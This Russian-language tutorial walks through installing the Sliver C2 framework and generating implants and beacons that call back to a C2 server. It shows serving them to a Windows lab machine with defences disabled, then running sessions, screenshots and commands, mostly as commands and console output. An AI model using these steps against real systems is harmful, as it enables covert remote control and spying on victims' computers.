Sliver C2: Подробный туториал
Данная статья содержит подробный разбор нашумевшего в 2023 году инструмента Sliver, который набирает популярность среди хакеров. Подробнее об этом описано в новостях xaker.ru. Приятного прочтения!
Дисклеймер: Все методы примененные в статье продемонстрированы в учебных целях
Что такое Sliver C2
Sliver C2 — это фреймворк Red Team с открытым исходным кодом, разработанный компанией BishopFox, занимающейся кибербезопасностью, и представляет собой кроссплатформенную среду постэксплуатации на основе Golang.
Он используется для выполнения второго этапа выполнения цепочки атак на внутреннюю сеть (когда компьютер жертвы уже был скомпрометирован доступными способами) и является альтернативой такого коммерческого инструмента как CobaltStrike, как утверждают сами производители.
Общие понятия:
implant — нагрузка, используемая для поддержания привилегий доступа на компьютере жертвы;
beacon — нагрузка, работающая в режиме маяка, обеспечивающая регулярное подключение к серверу;
stage — метод загрузки, поэтапный или непоэтапный.
Режимы работы:
1. Beacon mode: реализует асинхронный метод связи и регулярно проверяет её статус;
2. Session mode: реализует режим сеанса в реальном времени.
Преимущества:
1. Модульность, предоставляет множество расширений, например, в арсенале можно устанавливать различные инструменты сторонних производителей (BOF, .NET tools и т.д.)
2. Мультиплеер, позволяющий работать в группе из нескольких пользователей одновременно;
3. Открытый исходный код;
4. Кроссплатформенность (поддерживается на Linux, Windows и MacOS)
Архитектура Sliver C2
Архитектура Sliver C2 состоит из трёх частей:
Сервер Sliver C2. Сервер Sliver C2 является частью исполняемого файла sliver-server, управляет внутренней базой данных, а также запускает и останавливает сетевые прослушиватели. Основным интерфейсом взаимодействия с сервером является интерфейс gRPC, через него реализуются все функции.
Клиентская консоль. Клиентская консоль — это основной пользовательский интерфейс для взаимодействия с сервером Sliver C2.
Импланты. Импланты — это вредоносный код, нагрузка, (exe, ps1 и т. д.), запускаемая в целевой системе. Взаимосвязь и форму взаимодействия каждой части можно показать следующим образом:
Установка Sliver C2
Установить данный инструмент можно по ссылке https://github.com/BishopFox/sliver.
Посмотреть и скачать нужный для вас релиз можно по ссылке: https://github.com/BishopFox/sliver/releases
Официально рекомендуется развертывать Сервер на Linux (Windows не рекомендуется). Просто найдите соответствующую версию и загрузите версии Сервера и Клиента.
У Sliver есть две дополнительные функции, требующие внешних зависимостей: MinGW и Metasploit.
Чтобы включить полезные нагрузки DLL (на серверах Linux) вам необходимо установить MinGW:
sudo apt install mingw-w64
Для включения некоторых функций интеграции с MSF необходимо установить также Metasploit:
wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
После этого мы можем спокойно запустить наш сервер командой:./sliver-server_linux
Если вы работаете один, на этом установка завершена, и вы можете напрямую выполнять соответствующие команды в терминале. Но если вы работаете в группе с несколькими клиентами, необходимы следующие шаги.
Создаем файл конфигурации для клиента: new-operator --name <имя_клиента> --lhost
а также устанавливаем многопользовательский режим: sliver > multiplayer
После этого, у нас создастся конфигурационный файл с именем нашего клиента и IP-адресом сервера: Bob_192.168.1.142.cfg
Установка клиента:
Теперь, нам нужно установить sliver_client
, для того, чтобы загрузиться с нашего клиента.
Во время его запуска, нам нужно будет импортировать конфигурационный файл, который мы только что создали: ./sliver-client_linux import /home/kali/Desktop/Bob_192.168.1.142.cfg
После этого запускаем команду: ./sliver-client_linux
И видим, что мы подключились к сессии:
Пример эксплуатации
Примечание: В примере не будут показаны варианты обхода антивирусной защиты, а лишь работа данного инструмент для ознакомления. Поэтому, на момент эксплуатации, мы выключим средства защиты.
Подготовка цели
Перейдите в Центр оценки Microsoft Windows и загрузите образ Windows. Лично я использовал образ Windows 10 Enterprise. Используйте его для создания виртуальной машины Windows. Все, что вам нужно, это базовая установка. Точный статус сборки и патча на данный момент не имеет большого значения.
После установки я рекомендую отключить все функции защиты. Если антивирус включен, ваши стандартные импланты Sliver умрут сразу после запуска или вообще не заработают. Вот как это должно выглядеть:
На вашем сервере C2 запустите веб-сервер:
systemctl start apache2
Примечание: Также можно использовать обычный http-сервер python:
python3 -m http.server 80
И тот, и другой вариант будут правильными.
Теперь мы можем копировать созданные нами импланты в папку /var/www/html
и они будут доступны Apache. Чтобы не было ошибок с правами доступа, советую прописать: chmod -R 777 /var/www/html
.
Кроме того, запишите IP-адрес вашего сервера C2. В моём случае 192.168.1.142
На целевом компьютере Windows подтвердите, что вы можете получить доступ к серверу C2. Откройте браузер и попробуйте подключиться к серверу C2 через порт 80. Если все работает, должна загрузиться страница Apache по умолчанию:
Чтобы получить сеанс, можно сгенерировать имплант, доставить его к цели и там выполнить.
Создание импланта
Генерация импланта происходит на сервере C2 с помощью команды generate
. Подключитесь к нему и пропишите help generate
, чтобы прочитать обширную справочную страницу и узнать обо всех флагах. Наиболее важные из них следующие:
--mtls 192.168.1.142
: указывает, что имплант должен подключаться к серверу Sliver с использованием соединения TLS с взаимной проверкой подлинности. В альтернативу TLS также есть:--os windows
: указывает, что мы хотим запустить имплант в Windows (это значение по умолчанию, поэтому мы можем опустить этот параметр). Также поддерживаются MacOS и Linux.--arch amd64
: указывает, что нам нужен 64-битный имплант (также значение по умолчанию, можно опустить). Кроме того есть--arch 386
для 32-битного.--format exe
: указывает, что нам нужен исполняемый файл (опять же по умолчанию). Другие варианты:--format shared
для динамических библиотек;--format service
двоичного файла службы Windows (можно использовать с командойpsexec
) иshellcode
(только для Windows).
--save /var/www/html/
: указывает каталог для сохранения двоичного файла.
Вот пример генерации двоичного файла, который сгенерировал Sliver (название файла выбирается случайно) MEDICAL_CHANGE.exe
:
sliver > generate --mtls 192.168.1.142 --os windows --arch amd64 --format exe --save /var/www/html
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:18
[*] Implant saved to /var/www/html/MEDICAL_CHANGE.exe
Файл /var/www/html/MEDICAL_CHANGE.exe
будет недоступен для сервера Apache поэтому, чтобы сделать его доступным, пропишите sudo chown www-data:www-data /var/www/html/MEDICAL_CHANGE.exe
.
Теперь запустите прослушиватель mTLS на сервере C2 с помощью команды mtls
(по умолчанию прослушиватель запускается на порту 8888). Посмотреть прослушиватели можно с помощью команды jobs
:
sliver > mtls
[*] Starting mTLS listener ...
sliver >
[*] Successfully started job #1
sliver > jobs
ID Name Protocol Port
==== ====== ========== ======
1 mtls tcp 8888
На сервере C2 вы также можете убедиться, что порт 8888 теперь открыт:
┌──(root㉿kali)-[~/github/sliver]
└─# netstat -antop | grep 8888
tcp6 0 0 :::8888 :::* LISTEN 3434/sliver-server off (0.00/0/0)
Доставка и установка импланта
В целевой системе Windows откройте браузер и загрузите имплант. Edge предупредит вас, что это не обычный файл. Вам нужно нажать на три точки, затем «Сохранить», чтобы подтвердить загрузку, а затем подтвердить второе предупреждение Defender SmartScreen с помощью «Все равно сохранить». Затем нажмите «Открыть файл» (или перейдите к файлу в проводнике и дважды щелкните его). Это вызовет еще одно предупреждение SmartScreen. Снова подтвердите, нажав «Выполнить в любом случае»:
После этого ваш имплант должен работать. На сервере C2 в Sliver вы должны увидеть такую строку, которая указывает на то, что сеанс с имплантом установлен:
[*] Session 971c5a23 MEDICAL_CHANGE - 192.168.1.160:50051 (DESKTOP-IPQVF9T) - windows/amd64 - Fri, 01 Jul 2022 22:36:48 CEST
Вы также можете запустить команду sessions
, чтобы посмотреть список сессий:
sliver > sessions
ID Transport Remote Address Hostname Username
========== =========== ======================= ================= ==========
971c5a23 mtls 192.168.1.160:50051 DESKTOP-IPQVF9T tester
Operating System Health
================== =========
windows/amd64 [ALIVE]
Использование сеанса
Вы можете использовать свой сеанс с помощью команды use
. Просто введите её и появится интерактивная подсказка, позволяющая выбрать сеанс. Нажмите Enter еще раз, и ваше приглашение изменится на имя импланта, MEDICAL_CHANGE
в моем случае. Сеанс теперь активен и готов принимать ваши команды. С помощью info
вы можете получить подробную информацию о нагрузке:
sliver > use
? Select a session or beacon: SESSION 971c5a23 MEDICAL_CHANGE 192.168.1.160:50051 DESKTOP-IPQVF9T DESKTOP-IPQVF9T\tester windows/amd64
[*] Active session MEDICAL_CHANGE (971c5a23-73e0-4418-b9c2-266484546e0d)
sliver (MEDICAL_CHANGE) > info
Session ID: 971c5a23-73e0-4418-b9c2-266484546e0d
Name: MEDICAL_CHANGE
Hostname: DESKTOP-IPQVF9T
UUID: d512a12c-6b6d-4f19-814e-1f60088e9563
Username: DESKTOP-IPQVF9T\tester
UID: S-1-5-21-2966923018-1740081829-2498838087-1001
GID: S-1-5-21-2966923018-1740081829-2498838087-513
PID: 7244
OS: windows
Version: 10 build 19044 x86_64
Arch: amd64
Active C2: mtls://192.168.1.142:8888
Remote Address: 192.168.1.160:50051
Proxy URL:
Reconnect Interval: 1m0s
Импланты Sliver поддерживают несколько команд. Полный список вы можете получить с помощью help
. Функции включают в себя исследование файловой системы, копирование и загрузку файлов, переадресацию портов, создание снимков экрана и многое другое.
Например, мы можем сделать скриншот рабочего стола жертвы командой screenshot
, и он запишется на ваш сервер:
sliver (MEDICAL_CHANGE) > screenshot
[*] Screenshot written to /tmp/screenshot_DESKTOP-IPQVF9T_20220701224728_3343901839.png (893.2 KiB)
Затем вы можете просмотреть снимок экрана на сервере C2:
Когда вы закончите сеанс, пропишите background
, но сессия всё равно останется активной.
Чтобы фактически завершить сеанс, запустите session -k
, а затем идентификатор сеанса:
sliver > sessions
ID Transport Remote Address Hostname Username
========== =========== ======================= ================= ==========
971c5a23 mtls 192.168.1.160:50051 DESKTOP-IPQVF9T tester
Operating System Health
================== =========
windows/amd64 [ALIVE]
sliver > sessions -k 971c5a23
[!] Lost session 971c5a23 MEDICAL_CHANGE - 192.168.122.160:50051 (DESKTOP-IPQVF9T) - windows/amd64 - Fri, 01 Jul 2022 22:52:53 CEST
Маяки (Beacons)
Создание маяка:
Создание импланта-маяка очень похоже на создание сеансового импланта. Вы используете команду generate beacon
. Узнайте все о флагах с помощью help generate beacon
. Помимо всех флагов, указанных выше, соответствующими флагами маяков являются:
--seconds 5
: указывает, что маяк должен связываться с сервером C2 каждые 5 секунд. Также вы можете использовать--minutes
или--hours
,--days
--jitter 3
: указывает, что к интервалу в 5 секунд должна быть добавлена дополнительная случайная задержка до 3 секунд.
sliver > generate beacon --mtls 192.168.1.142 --os windows --arch amd64 --format exe --save /var/www/html --seconds 5 --jitter 3
[*] Generating new windows/amd64 beacon implant binary (5s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:18
[*] Implant saved to /var/www/html/STALE_PNEUMONIA.exe
Не забудьте прописать sudo chown www-data:www-data /var/www/html/STALE_PNEUMONIA.exe
, чтобы сделать нагрузку доступной для Apache.
Доставка и установка импланта-маяка
Этот шаг такой же, как и для сессионного импланта. Просто скачайте и запустите файл. После этого вы должны увидеть запущенный процесс STALE_PNEUMONIA.exe
:
Sliver подтверждает соединение маяка такой строкой:
[*] Beacon c9b67cda STALE_PNEUMONIA - 192.168.1.160:50080 (DESKTOP-IPQVF9T) - windows/amd64 - Fri, 01 Jul 2022 23:08:31 CEST
Запустите команду beacons
, чтобы получить список активных маяков:
sliver > beacons
ID Name Transport Username Operating System
========== ================= =========== ========== ==================
c9b67cda STALE_PNEUMONIA mtls tester windows/amd64
Last Check-In Next Check-In
=============== ===============
1s ago 5s
Использование маяка
Как и в случае с сеансом, запустите команду use
, выберите маяк, с которым хотите взаимодействовать, и нажмите Enter. Подсказка изменится на имя маяка, и вы сможете получить дополнительную информацию info
:
sliver > use
? Select a session or beacon: BEACON c9b67cda STALE_PNEUMONIA 192.168.1.160:50080 DESKTOP-IPQVF9T DESKTOP-IPQVF9T\tester windows/amd64
[*] Active beacon STALE_PNEUMONIA (c9b67cda-75eb-4c30-8920-d743533266fc)
sliver (STALE_PNEUMONIA) > info
Beacon ID: c9b67cda-75eb-4c30-8920-d743533266fc
Name: STALE_PNEUMONIA
Hostname: DESKTOP-IPQVF9T
UUID: d512a12c-6b6d-4f19-814e-1f60088e9563
Username: DESKTOP-IPQVF9T\tester
UID: S-1-5-21-2966923018-1740081829-2498838087-1001
GID: S-1-5-21-2966923018-1740081829-2498838087-513
PID: 1748
OS: windows
Version: 10 build 19044 x86_64
Arch: amd64
Active C2: mtls://192.168.1.142:8888
Remote Address: 192.168.1.160:50080
Proxy URL:
Interval: 5s
Jitter: 3s
Используйте команду help
, чтобы просмотреть список всех доступных команд. В приведенном ниже примере я открывал блокнот execute notepad
, и, чтобы проверить, работает ли он, я сделал скриншот screenshot
. Действительно, вы можете видеть, что блокнот был открыт:
Обратите внимание, как каждая команда превращается в задачу. Поскольку соединение маяка непостоянное, вам придется дождаться следующей регистрации, пока не будут выполнены ваши команды. Чтобы увидеть список всех задач и их статус, используйте команду tasks
. Этот пример показывает, что обе команды выполнены успешно:
sliver (STALE_PNEUMONIA) > tasks
ID State Message Type Created
========== =========== ============== ================================
93764fdb completed Screenshot Fri, 01 Jul 2022 23:15:23 CEST
35d81817 completed Execute Fri, 01 Jul 2022 23:14:35 CEST
Sent Completed
=============================== ===============================
Fri, 01 Jul 2022 23:15:28 CEST Fri, 01 Jul 2022 23:15:28 CEST
Fri, 01 Jul 2022 23:14:36 CEST Fri, 01 Jul 2022 23:14:36 CEST
Теперь вы можете отключить маяк в фоновом режиме, как в сеансе.
От маяков к сессиям
Чтобы перейти от режима маяка к режиму сеанса достаточно использовать команду interactive
. Для иллюстрации предположим, что вы только что получили маяк, как показано ниже:
[*] Beacon 50010ca8 mtlsbeacon - 192.168.122.160:50422 (DESKTOP-IPQVF9T) - windows/amd64 - Fri, 01 Jul 2022 23:24:17 CEST
sliver > beacons
ID Name Transport Username Operating System Last Check-In Next Check-In
========== ============ =========== ========== ================== ===============
50010ca8 mtlsbeacon mtls tester windows/amd64 4s ago
Next Check-In
===============
1m11s
sliver > sessions
[*] No sessions
Если у нас нет запущенного сеанса, то вам достаточно использовать маяк use
и ввести interactive
. Это ставит в очередь новую задачу, которая попытается установить сеанс. Теперь дождитесь следующего подключения, и должна появиться новая сессия:
sliver > use 50010ca8-d96d-4cff-81da-756c1e680fc2
[*] Active beacon mtlsbeacon (50010ca8-d96d-4cff-81da-756c1e680fc2)
sliver (mtlsbeacon) > interactive
[*] Using beacon's active C2 endpoint: mtls://192.168.1.142:8888
[*] Tasked beacon mtlsbeacon (a050cc2a)
[*] Session ab1ecb8a mtlsbeacon - 192.168.122.160:50425 (DESKTOP-IPQVF9T) - windows/amd64 - Fri, 01 Jul 2022 23:25:32 CEST
sliver (mtlsbeacon) > sessions
ID Transport Remote Address Hostname Username Operating System Health
========== =========== ======================= ================= ==========
ab1ecb8a mtls 192.168.1.160:50425 DESKTOP-IPQVF9T tester
Operating System Health
================== =========
windows/amd64 [ALIVE]
По умолчанию сеанс будет создан с использованием того же протокола C2, который используется маяком. Однако можно было указать и другой, при условии, что его поддержка была скомпилирована в имплант (да, можно указать одновременно более одного протокола C2). Введите interactive --help
, чтобы посмотреть все варианты.
Профили
Создание импланта может быть утомительным, поскольку вам придется вводить очень много вариантов. Чтобы упростить задачу, определите многоразовые профили с общей конфигурацией импланта. Ниже я продемонстрирую это для имплантов сеанса и маяка.
Создайте профиль импланта сеанса с помощью profiles new
. Например, этот профиль соответствует сеансовому импланту, созданному выше:
sliver (STALE_PNEUMONIA) > profiles new --mtls 192.168.1.142 --os windows --arch amd64 --format exe session_win_default
[*] Saved new implant profile session_win_default
С помощью profiles generate
этого профиля вы можете создать новый сеансовый имплант. Например:
sliver (STALE_PNEUMONIA) > profiles generate --save /var/www/html/ session_win_default
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:18
[*] Implant saved to /var/www/html/CAUTIOUS_UNITY.exe
С помощью profiles new beacon
вы также можете создать профиль маяка:
sliver > profiles new beacon --mtls 192.168.1.142 --os windows --arch amd64 --format exe --seconds 5 --jitter 3 beacon_win_default
[*] Saved new implant profile (beacon) beacon_win_default
Создайте имплант-маяк:
sliver > profiles generate --save /var/www/html/ beacon_win_default
[*] Generating new windows/amd64 beacon implant binary (5s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:18
[*] Implant saved to /var/www/html/WELSH_SECURE.exe
Чтобы просмотреть все сгенерированные вами импланты, используйте команду implants
:
sliver > implants
Name Implant Type OS/Arch Format
================= ============== =============== ============ ================================= =======
CAUTIOUS_UNITY session windows/amd64 EXECUTABLE
MEDICAL_CHANGE session windows/amd64 EXECUTABLE
STALE_PNEUMONIA beacon windows/amd64 EXECUTABLE
WELSH_SECURE beacon windows/amd64 EXECUTABLE
Command & Control Debug
================================= =======
[1] mtls://192.168.1.142:8888 false
[1] mtls://192.168.1.142:8888 false
[1] mtls://192.168.1.142:8888 false
[1] mtls://192.168.1.142:8888 false
Заключение
На мой взгляд, самым большим преимуществом Sliver является то, что его труднее обнаружить системе, что не скажешь про другие инструменты. Кроме того, он кроссплатфоменный и более прост в установке. Однако минусом является его генерируемая оболочка, которая достаточно велика, относительно других фреймворков. Сам фреймворк достаточно похож на CobaltStrike, но превосходит его за счёт большого функционала.